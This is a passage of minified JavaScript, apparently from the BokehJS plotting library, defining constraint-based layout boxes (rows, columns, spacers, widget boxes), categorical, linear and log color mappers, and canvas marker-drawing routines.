o=r[n],s=o.get_constrained_variables(),a=this._child_rect(s);this._horizontal?null!=s.height&&t(p.EQ(a.height,[-1,this._height])):null!=s.width&&t(p.EQ(a.width,[-1,this._width])),this._horizontal?null!=s.box_equal_size_left&&null!=s.box_equal_size_right&&null!=s.width&&t(p.EQ([-1,s.box_equal_size_left],[-1,s.box_equal_size_right],s.width,this._child_equal_size_width)):null!=s.box_equal_size_top&&null!=s.box_equal_size_bottom&&null!=s.height&&t(p.EQ([-1,s.box_equal_size_top],[-1,s.box_equal_size_bottom],s.height,this._child_equal_size_height))}var l=this._info(e[0].get_constrained_variables());t(p.EQ(l.span.start,0));for(var h=1;h<e.length;h++){var u=this._info(e[h].get_constrained_variables());l.span.size&&t(p.EQ(l.span.start,l.span.size,[-1,u.span.start])),t(p.WEAK_EQ(l.whitespace.after,u.whitespace.before,0-this.spacing)),t(p.GE(l.whitespace.after,u.whitespace.before,0-this.spacing)),l=u}var c=e[e.length-1].get_constrained_variables();return this._horizontal?null!=c.width&&t(p.EQ(l.span.start,l.span.size,[-1,this._width])):null!=c.height&&t(p.EQ(l.span.start,l.span.size,[-1,this._height])),i=i.concat(this._align_outer_edges_constraints(!0),this._align_outer_edges_constraints(!1),this._align_inner_cell_edges_constraints(),this._box_equal_size_bounds(!0),this._box_equal_size_bounds(!1),this._box_cell_align_bounds(!0),this._box_cell_align_bounds(!1),this._box_whitespace(!0),this._box_whitespace(!1))},w.prototype._child_rect=function(t){return{x:t.origin_x,y:t.origin_y,width:t.width,height:t.height}},w.prototype._span=function(t){return this._horizontal?{start:t.x,size:t.width}:{start:t.y,size:t.height}},w.prototype._info=function(t){var e;e=this._horizontal?{before:t.whitespace_left,after:t.whitespace_right}:{before:t.whitespace_top,after:t.whitespace_bottom};var i=this._span(this._child_rect(t));return{span:i,whitespace:e}},w.prototype._flatten_cell_edge_variables=function(t){var e;e=t?w._top_bottom_inner_cell_edge_variables:w._left_right_inner_cell_edge_variables;for(var i=t!=this._horizontal,n=this.get_layoutable_children(),r=n.length,o={},s=0,a=0,l=n;a<l.length;a++){var h=l[a],u=void 0;u=h instanceof w?h._flatten_cell_edge_variables(t):{};for(var c=h.get_constrained_variables(),_=0,p=e;_<p.length;_++){var d=p[_];d in c&&(u[d]=[c[d]])}for(var f in u){var v=u[f],m=void 0;if(i){var g=f.split(\\\" \\\"),y=g[0],b=1<g.length?g[1]:\\\"\\\",x=this._horizontal?\\\"row\\\":\\\"col\\\";m=y+\\\" \\\"+x+\\\"-\\\"+r+\\\"-\\\"+s+\\\"-\\\"+b}else m=f;o[m]=m in o?o[m].concat(v):v}s++}return o},w.prototype._align_inner_cell_edges_constraints=function(){var t=[];if(null!=this.document&&s.includes(this.document.roots(),this)){var e=this._flatten_cell_edge_variables(this._horizontal);for(var i in e){var n=e[i];if(1<n.length)for(var r=n[0],o=1;o<n.length;o++)t.push(p.EQ(n[o],[-1,r]))}}return t},w.prototype._find_edge_leaves=function(t){var e=this.get_layoutable_children(),i=[[],[]];if(0<e.length)if(this._horizontal==t){var n=e[0],r=e[e.length-1];n instanceof w?i[0]=i[0].concat(n._find_edge_leaves(t)[0]):i[0].push(n),r instanceof w?i[1]=i[1].concat(r._find_edge_leaves(t)[1]):i[1].push(r)}else for(var o=0,s=e;o<s.length;o++){var a=s[o];if(a instanceof w){var l=a._find_edge_leaves(t);i[0]=i[0].concat(l[0]),i[1]=i[1].concat(l[1])}else i[0].push(a),i[1].push(a)}return i},w.prototype._align_outer_edges_constraints=function(t){var e,i,n=this._find_edge_leaves(t),r=n[0],o=n[1];t?(e=\\\"on_edge_align_left\\\",i=\\\"on_edge_align_right\\\"):(e=\\\"on_edge_align_top\\\",i=\\\"on_edge_align_bottom\\\");var s=function(t,e){for(var i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();e in s&&i.push(s[e])}return i},a=s(r,e),l=s(o,i),h=[],u=function(t){if(1<t.length)for(var e=t[0],i=1;i<t.length;i++){var n=t[i];h.push(p.EQ([-1,e],n))}};return u(a),u(l),h},w.prototype._box_insets_from_child_insets=function(t,e,i,a){var n,r,o,s,l=this._find_edge_leaves(t),h=l[0],u=l[1];t?(n=e+\\\"_left\\\",r=e+\\\"_right\\\",o=this[i+\\\"_left\\\"],s=this[i+\\\"_right\\\"]):(n=e+\\\"_top\\\",r=e+\\\"_bottom\\\",o=this[i+\\\"_top\\\"],s=this[i+\\\"_bottom\\\"]);var c=[],_=function(t,e,i){for(var n=0,r=e;n<r.length;n++){var o=r[n],s=o.get_constrained_variables();i in s&&(a?c.push(p.GE([-1,t],s[i])):c.push(p.EQ([-1,t],s[i])))}};return _(o,h,n),_(s,u,r),c},w.prototype._box_equal_size_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_equal_size\\\",\\\"_box_equal_size\\\",!1)},w.prototype._box_cell_align_bounds=function(t){return this._box_insets_from_child_insets(t,\\\"box_cell_align\\\",\\\"_box_cell_align\\\",!1)},w.prototype._box_whitespace=function(t){return this._box_insets_from_child_insets(t,\\\"whitespace\\\",\\\"_whitespace\\\",!0)},w._left_right_inner_cell_edge_variables=[\\\"box_cell_align_left\\\",\\\"box_cell_align_right\\\"],w._top_bottom_inner_cell_edge_variables=[\\\"box_cell_align_top\\\",\\\"box_cell_align_bottom\\\"],w}(o.LayoutDOM);(i.Box=l).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-column\\\")},e}(r.BoxView);i.ColumnView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Column\\\",this.prototype.default_view=o},t}(r.Box);(i.Column=s).initClass()},function(t,e,i){var n=t(154);i.Box=n.Box;var r=t(155);i.Column=r.Column;var o=t(157);i.LayoutDOM=o.LayoutDOM;var s=t(158);i.Row=s.Row;var a=t(159);i.Spacer=a.Spacer;var l=t(160);i.WidgetBox=l.WidgetBox},function(t,e,i){var n=t(391),r=t(59),g=t(5),o=t(15),s=t(11),h=t(13),a=t(4),l=t(6),u=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._solver_inited=!1,t._idle_notified=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.is_root&&(this._solver=new h.Solver),this.child_views={},this.build_child_views()},t.prototype.remove=function(){for(var t in this.child_views){var e=this.child_views[t];e.remove()}this.child_views={},i.prototype.remove.call(this)},t.prototype.has_finished=function(){if(!i.prototype.has_finished.call(this))return!1;for(var t in this.child_views){var e=this.child_views[t];if(!e.has_finished())return!1}return!0},t.prototype.notify_finished=function(){this.is_root?!this._idle_notified&&this.has_finished()&&null!=this.model.document&&(this._idle_notified=!0,this.model.document.notify_idle(this.model)):i.prototype.notify_finished.call(this)},t.prototype._calc_width_height=function(){for(var t=this.el;t=t.parentElement;)if(!t.classList.contains(\\\"bk-root\\\")){if(t==document.body){var e=g.margin(document.body),i=e.left,n=e.right,r=e.top,o=e.bottom,s=document.documentElement.clientWidth-i-n,a=document.documentElement.clientHeight-r-o;return[s,a]}var l=g.padding(t),h=l.left,u=l.right,c=l.top,_=l.bottom,p=t.getBoundingClientRect(),d=p.width,f=p.height,v=d-h-u,m=f-c-_;switch(this.model.sizing_mode){case\\\"scale_width\\\":if(0<v)return[v,0<m?m:null];break;case\\\"scale_height\\\":if(0<m)return[0<v?v:null,m];break;case\\\"scale_both\\\":case\\\"stretch_both\\\":if(0<v||0<m)return[0<v?v:null,0<m?m:null];break;default:throw new Error(\\\"unreachable\\\")}}return[null,null]},t.prototype._init_solver=function(){this._root_width=new h.Variable(this.toString()+\\\".root_width\\\"),this._root_height=new h.Variable(this.toString()+\\\".root_height\\\"),this._solver.add_edit_variable(this._root_width,NaN),this._solver.add_edit_variable(this._root_height,NaN);for(var t=this.model.get_all_editables(),e=0,i=t;e<i.length;e++){var n=i[e];this._solver.add_edit_variable(n,h.Strength.strong)}for(var r=this.model.get_all_constraints(),o=0,s=r;o<s.length;o++){var a=s[o];this._solver.add_constraint(a)}var l=this.model.get_constrained_variables();null!=l.width&&this._solver.add_constraint(h.EQ(l.width,this._root_width)),null!=l.height&&this._solver.add_constraint(h.EQ(l.height,this._root_height)),this._solver.update_variables(),this._solver_inited=!0},t.prototype._suggest_dims=function(t,e){var i,n=this.model.get_constrained_variables();null==n.width&&null==n.height||(null!=t&&null!=e||(i=this._calc_width_height(),t=i[0],e=i[1]),null!=n.width&&null!=t&&this._solver.suggest_value(this._root_width,t),null!=n.height&&null!=e&&this._solver.suggest_value(this._root_height,e),this._solver.update_variables())},t.prototype.resize=function(t,e){void 0===t&&(t=null),void 0===e&&(e=null),this.is_root?this._do_layout(!1,t,e):this.root.resize(t,e)},t.prototype.partial_layout=function(){this.is_root?this._do_layout(!1):this.root.partial_layout()},t.prototype.layout=function(){this.is_root?this._do_layout(!0):this.root.layout()},t.prototype._do_layout=function(t,e,i){void 0===e&&(e=null),void 0===i&&(i=null),this._solver_inited&&!t||(this._solver.clear(),this._init_solver()),this._suggest_dims(e,i),this._layout(),this._layout(),this._layout(!0),this.notify_finished()},t.prototype._layout=function(t){void 0===t&&(t=!1);for(var e=0,i=this.model.get_layoutable_children();e<i.length;e++){var n=i[e],r=this.child_views[n.id];null!=r._layout&&r._layout(t)}this.render(),t&&(this._has_finished=!0)},t.prototype.rebuild_child_views=function(){this.solver.clear(),this.build_child_views(),this.layout()},t.prototype.build_child_views=function(){var t=this.model.get_layoutable_children();a.build_views(this.child_views,t,{parent:this}),g.empty(this.el);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=this.child_views[n.id];this.el.appendChild(r.el)}},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.is_root&&window.addEventListener(\\\"resize\\\",this),this.connect(this.model.properties.sizing_mode.change,function(){return t.layout()})},t.prototype.handleEvent=function(){this.resize()},t.prototype.disconnect_signals=function(){window.removeEventListener(\\\"resize\\\",this),i.prototype.disconnect_signals.call(this)},t.prototype._render_classes=function(){this.el.className=\\\"\\\";for(var t=0,e=this.css_classes();t<e.length;t++){var i=e[t];this.el.classList.add(i)}this.el.classList.add(\\\"bk-layout-\\\"+this.model.sizing_mode);for(var n=0,r=this.model.css_classes;n<r.length;n++){var o=r[n];this.el.classList.add(o)}},t.prototype.render=function(){switch(this._render_classes(),this.model.sizing_mode){case\\\"fixed\\\":var t=void 0;t=null!=this.model.width?this.model.width:this.get_width(),this.model.setv({width:t},{silent:!0});var e=void 0;e=null!=this.model.height?this.model.height:this.get_height(),this.model.setv({height:e},{silent:!0}),this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e);break;case\\\"scale_width\\\":var e=this.get_height();this.solver.suggest_value(this.model._height,e);break;case\\\"scale_height\\\":var t=this.get_width();this.solver.suggest_value(this.model._width,t);break;case\\\"scale_both\\\":var i=this.get_width_height(),t=i[0],e=i[1];this.solver.suggest_value(this.model._width,t),this.solver.suggest_value(this.model._height,e)}this.solver.update_variables(),this.position()},t.prototype.position=function(){switch(this.model.sizing_mode){case\\\"fixed\\\":case\\\"scale_width\\\":case\\\"scale_height\\\":this.el.style.position=\\\"relative\\\",this.el.style.left=\\\"\\\",this.el.style.top=\\\"\\\";break;case\\\"scale_both\\\":case\\\"stretch_both\\\":this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\"}this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype.get_width_height=function(){var t=this._calc_width_height(),e=t[0],i=t[1];if(null==e&&null==i)throw new Error(\\\"detached element\\\");var n=this.model.get_aspect_ratio();if(null!=e&&null==i)return[e,e/n];if(null==e&&null!=i)return[i*n,i];var r,o,s=e,a=e/n,l=i*n,h=i;return s<l?(r=s,o=a):(r=l,o=h),[r,o]},t}(l.DOMView);i.LayoutDOMView=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutDOM\\\",this.define({height:[o.Number],width:[o.Number],disabled:[o.Bool,!1],sizing_mode:[o.SizingMode,\\\"fixed\\\"],css_classes:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._width=new h.Variable(this.toString()+\\\".width\\\"),this._height=new h.Variable(this.toString()+\\\".height\\\"),this._left=new h.Variable(this.toString()+\\\".left\\\"),this._right=new h.Variable(this.toString()+\\\".right\\\"),this._top=new h.Variable(this.toString()+\\\".top\\\"),this._bottom=new h.Variable(this.toString()+\\\".bottom\\\"),this._dom_top=new h.Variable(this.toString()+\\\".dom_top\\\"),this._dom_left=new h.Variable(this.toString()+\\\".dom_left\\\"),this._width_minus_right=new h.Variable(this.toString()+\\\".width_minus_right\\\"),this._height_minus_bottom=new h.Variable(this.toString()+\\\".height_minus_bottom\\\"),this._whitespace_top=new h.Variable(this.toString()+\\\".whitespace_top\\\"),this._whitespace_bottom=new h.Variable(this.toString()+\\\".whitespace_bottom\\\"),this._whitespace_left=new h.Variable(this.toString()+\\\".whitespace_left\\\"),this._whitespace_right=new h.Variable(this.toString()+\\\".whitespace_right\\\")},Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value,dom_top:this._dom_top.value,dom_left:this._dom_left.value}},enumerable:!0,configurable:!0}),t.prototype.dump_layout=function(){for(var t,e={},i=[this];t=i.shift();)i.push.apply(i,t.get_layoutable_children()),e[t.toString()]=t.layout_bbox;console.table(e)},t.prototype.get_all_constraints=function(){for(var t=this.get_constraints(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_constraints()):t.concat(n.get_all_constraints())}return t},t.prototype.get_all_editables=function(){for(var t=this.get_editables(),e=0,i=this.get_layoutable_children();e<i.length;e++){var n=i[e];t=n instanceof s.LayoutCanvas?t.concat(n.get_editables()):t.concat(n.get_all_editables())}return t},t.prototype.get_constraints=function(){return[h.GE(this._dom_left),h.GE(this._dom_top),h.GE(this._left),h.GE(this._width,[-1,this._right]),h.GE(this._top),h.GE(this._height,[-1,this._bottom]),h.EQ(this._width_minus_right,[-1,this._width],this._right),h.EQ(this._height_minus_bottom,[-1,this._height],this._bottom)]},t.prototype.get_layoutable_children=function(){return[]},t.prototype.get_editables=function(){switch(this.sizing_mode){case\\\"fixed\\\":return[this._height,this._width];case\\\"scale_width\\\":return[this._height];case\\\"scale_height\\\":return[this._width];case\\\"scale_both\\\":return[this._width,this._height];default:return[]}},t.prototype.get_constrained_variables=function(){var t={origin_x:this._dom_left,origin_y:this._dom_top,whitespace_top:this._whitespace_top,whitespace_bottom:this._whitespace_bottom,whitespace_left:this._whitespace_left,whitespace_right:this._whitespace_right};switch(this.sizing_mode){case\\\"stretch_both\\\":t.width=this._width,t.height=this._height;break;case\\\"scale_width\\\":t.width=this._width;break;case\\\"scale_height\\\":t.height=this._height}return t},t.prototype.get_aspect_ratio=function(){return this.width/this.height},t}(r.Model);(i.LayoutDOM=c).initClass()},function(t,e,i){var n=t(391),r=t(154),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-grid-row\\\")},e}(r.BoxView);i.RowView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e._horizontal=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Row\\\",this.prototype.default_view=o},t}(r.Box);(i.Row=s).initClass()},function(t,e,i){var n=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),\\\"fixed\\\"==this.model.sizing_mode&&(this.el.style.width=this.model.width+\\\"px\\\",this.el.style.height=this.model.height+\\\"px\\\")},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-spacer-box\\\")},e.prototype.get_width=function(){return 1},e.prototype.get_height=function(){return 1},e}(r.LayoutDOMView);i.SpacerView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Spacer\\\",this.prototype.default_view=o},t.prototype.get_constrained_variables=function(){return n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom,box_equal_size_left:this._left,box_equal_size_right:this._width_minus_right})},t}(r.LayoutDOM);(i.Spacer=s).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(15),s=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget-box\\\")},t.prototype.render=function(){if(this._render_classes(),\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_height\\\"==this.model.sizing_mode){var t=this.get_width();this.model._width.value!=t&&this.solver.suggest_value(this.model._width,t)}if(\\\"fixed\\\"==this.model.sizing_mode||\\\"scale_width\\\"==this.model.sizing_mode){var e=this.get_height();this.model._height.value!=e&&this.solver.suggest_value(this.model._height,e)}if(this.solver.update_variables(),\\\"stretch_both\\\"==this.model.sizing_mode)this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\";else{var i=void 0;i=0<this.model._width.value-20?this.model._width.value-20+\\\"px\\\":\\\"100%\\\",this.el.style.width=i}},t.prototype.get_height=function(){var t=0;for(var e in this.child_views){var i=this.child_views[e],n=i.el,r=getComputedStyle(n),o=parseInt(r.marginTop)||0,s=parseInt(r.marginBottom)||0;t+=n.offsetHeight+o+s}return t+20},t.prototype.get_width=function(){if(null!=this.model.width)return this.model.width;var t=this.el.scrollWidth+20;for(var e in this.child_views){var i=this.child_views[e],n=i.el.scrollWidth;t<n&&(t=n)}return t},t}(s.LayoutDOMView);i.WidgetBoxView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WidgetBox\\\",this.prototype.default_view=a,this.define({children:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),\\\"fixed\\\"==this.sizing_mode&&null==this.width&&(this.width=300,r.logger.info(\\\"WidgetBox mode is fixed, but no width specified. Using default of 300.\\\"))},t.prototype.get_constrained_variables=function(){var t=n.__assign({},e.prototype.get_constrained_variables.call(this),{on_edge_align_top:this._top,on_edge_align_bottom:this._height_minus_bottom,on_edge_align_left:this._left,on_edge_align_right:this._width_minus_right,box_cell_align_top:this._top,box_cell_align_bottom:this._height_minus_bottom,box_cell_align_left:this._left,box_cell_align_right:this._width_minus_right,box_equal_size_top:this._top,box_equal_size_bottom:this._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this._left,t.box_equal_size_right=this._width_minus_right),t},t.prototype.get_layoutable_children=function(){return this.children},t}(s.LayoutDOM);(i.WidgetBox=l).initClass()},function(t,e,i){var n=t(391),o=t(162),r=t(164),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalColorMapper\\\",this.define({factors:[s.Array],start:[s.Number,0],end:[s.Number]})},t.prototype._v_compute=function(t,e,i,n){var r=n.nan_color;o.cat_v_compute(t,this.factors,i,e,this.start,this.end,r)},t}(r.ColorMapper);(i.CategoricalColorMapper=a).initClass()},function(t,e,i){var _=t(21),p=t(44);function d(t,e){if(t.length!=e.length)return!1;for(var i=0,n=t.length;i<n;i++)if(t[i]!==e[i])return!1;return!0}i._cat_equals=d,i.cat_v_compute=function(o,s,a,l,h,u,c){for(var t=function(t,e){var i=o[t],n=void 0;p.isString(i)?n=s.indexOf(i):(null!=h?i=null!=u?i.slice(h,u):i.slice(h):null!=u&&(i=i.slice(0,u)),n=1==i.length?s.indexOf(i[0]):_.findIndex(s,function(t){return d(t,i)}));var r=void 0;r=n<0||n>=a.length?c:a[n],l[t]=r},e=0,i=o.length;e<i;e++)t(e,i)}},function(t,e,i){var n=t(391),r=t(162),o=t(169),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalMarkerMapper\\\",this.define({factors:[s.Array],markers:[s.Array],start:[s.Number,0],end:[s.Number],default_value:[s.String,\\\"circle\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return r.cat_v_compute(t,this.factors,this.markers,e,this.start,this.end,this.default_value),e},t}(o.Mapper);(i.CategoricalMarkerMapper=a).initClass()},function(t,e,i){var n=t(391),r=t(169),o=t(15),s=t(27),a=t(28);function l(t){return\\\"#\\\"!=t[0]&&(t=s.color2hex(t)),9!=t.length&&(t+=\\\"ff\\\"),parseInt(t.slice(1),16)}function h(t){for(var e=new Uint32Array(t.length),i=0,n=t.length;i<n;i++)e[i]=l(t[i]);return e}function u(t){if(a.is_little_endian)for(var e=new DataView(t.buffer),i=0,n=t.length;i<n;i++)e.setUint32(4*i,t[i]);return new Uint8Array(t.buffer)}i._convert_color=l,i._convert_palette=h,i._uint32_to_rgba=u;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorMapper\\\",this.define({palette:[o.Any],nan_color:[o.Color,\\\"gray\\\"]})},t.prototype.v_compute=function(t){var e=new Array(t.length);return this._v_compute(t,e,this.palette,this._colors(function(t){return t})),e},Object.defineProperty(t.prototype,\\\"rgba_mapper\\\",{get:function(){var i=this,n=h(this.palette),r=this._colors(l);return{v_compute:function(t){var e=new Uint32Array(t.length);return i._v_compute(t,e,n,r),u(e)}}},enumerable:!0,configurable:!0}),t.prototype._colors=function(t){return{nan_color:t(this.nan_color)}},t}(r.Mapper);(i.ColorMapper=c).initClass()},function(t,e,i){var n=t(391),r=t(164),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousColorMapper\\\",this.define({high:[o.Number],low:[o.Number],high_color:[o.Color],low_color:[o.Color]})},t.prototype._colors=function(t){return n.__assign({},e.prototype._colors.call(this,t),{low_color:null!=this.low_color?t(this.low_color):void 0,high_color:null!=this.high_color?t(this.high_color):void 0})},t}(r.ColorMapper);(i.ContinuousColorMapper=s).initClass()},function(t,e,i){var n=t(161);i.CategoricalColorMapper=n.CategoricalColorMapper;var r=t(163);i.CategoricalMarkerMapper=r.CategoricalMarkerMapper;var o=t(165);i.ContinuousColorMapper=o.ContinuousColorMapper;var s=t(164);i.ColorMapper=s.ColorMapper;var a=t(167);i.LinearColorMapper=a.LinearColorMapper;var l=t(168);i.LogColorMapper=l.LogColorMapper},function(t,e,i){var n=t(391),r=t(165),m=t(22),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=null!=this.low?this.low:m.min(t),l=null!=this.high?this.high:m.max(t),h=i.length-1,u=1/(l-a),c=1/i.length,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(d!=l){var f=(d-a)*u,v=Math.floor(f/c);e[_]=v<0?null!=o?o:i[0]:h<v?null!=s?s:i[h]:i[v]}else e[_]=i[h]}},t}(r.ContinuousColorMapper);(i.LinearColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(165),m=t(22),g=null!=Math.log1p?Math.log1p:function(t){return Math.log(1+t)},o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogColorMapper\\\"},t.prototype._v_compute=function(t,e,i,n){for(var r=n.nan_color,o=n.low_color,s=n.high_color,a=i.length,l=null!=this.low?this.low:m.min(t),h=null!=this.high?this.high:m.max(t),u=a/(g(h)-g(l)),c=i.length-1,_=0,p=t.length;_<p;_++){var d=t[_];if(isNaN(d))e[_]=r;else if(h<d)e[_]=null!=s?s:i[c];else if(d!=h)if(d<l)e[_]=null!=o?o:i[0];else{var f=g(d)-g(l),v=Math.floor(f*u);c<v&&(v=c),e[_]=i[v]}else e[_]=i[c]}},t}(r.ContinuousColorMapper);(i.LogColorMapper=o).initClass()},function(t,e,i){var n=t(391),r=t(279),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Mapper\\\"},t.prototype.compute=function(t){throw new Error(\\\"mapping single values is not supported\\\")},t}(r.Transform);(i.Mapper=o).initClass()},function(t,e,i){var o=t(391),s=t(172),h=Math.sqrt(3);function a(t,e){t.moveTo(-e,e),t.lineTo(e,-e),t.moveTo(-e,-e),t.lineTo(e,e)}function l(t,e){t.moveTo(0,e),t.lineTo(0,-e),t.moveTo(-e,0),t.lineTo(e,0)}function u(t,e){t.moveTo(0,e),t.lineTo(e/1.5,0),t.lineTo(0,-e),t.lineTo(-e/1.5,0),t.closePath()}function c(t,e){var i=e*h,n=i/3;t.moveTo(-e,n),t.lineTo(e,n),t.lineTo(0,n-i),t.closePath()}function n(t,e,i,n,r){var o=.65*i;l(t,i),a(t,o),n.doit&&(n.set_vectorize(t,e),t.stroke())}function r(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function _(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function p(t,e,i,n,r){l(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function d(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function f(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function v(t,e,i,n,r){var o,s,a,l;l=h*(a=(s=i)/2),(o=t).moveTo(s,0),o.lineTo(a,-l),o.lineTo(-a,-l),o.lineTo(-s,0),o.lineTo(-a,l),o.lineTo(a,l),o.closePath(),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function m(t,e,i,n,r){t.rotate(Math.PI),c(t,i),t.rotate(-Math.PI),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function g(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function y(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function b(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function x(t,e,i,n,r){c(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function w(t,e,i,n,r){var o,s;s=i,(o=t).moveTo(-s,0),o.lineTo(s,0),n.doit&&(n.set_vectorize(t,e),t.stroke())}function k(t,e,i,n,r){a(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function S(i,n){var r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype._render_one=n},e}(s.MarkerView);r.initClass();var t=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.default_view=r,this.prototype.type=i},e}(s.Marker);return t.initClass(),t}i.Asterisk=S(\\\"Asterisk\\\",n),i.CircleCross=S(\\\"CircleCross\\\",r),i.CircleX=S(\\\"CircleX\\\",_),i.Cross=S(\\\"Cross\\\",p),i.Diamond=S(\\\"Diamond\\\",d),i.DiamondCross=S(\\\"DiamondCross\\\",f),i.Hex=S(\\\"Hex\\\",v),i.InvertedTriangle=S(\\\"InvertedTriangle\\\",m),i.Square=S(\\\"Square\\\",g),i.SquareCross=S(\\\"SquareCross\\\",y),i.SquareX=S(\\\"SquareX\\\",b),i.Triangle=S(\\\"Triangle\\\",x),i.Dash=S(\\\"Dash\\\",w),i.X=S(\\\"X\\\",k),i.marker_funcs={asterisk:n,circle:function(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())},circle_cross:r,circle_x:_,cross:p,diamond:d,diamond_cross:f,hex:v,inverted_triangle:m,square:g,square_cross:y,square_x:b,triangle:x,dash:w,x:k}},function(t,e,i){var n=t(391);n.__exportStar(t(170),i);var 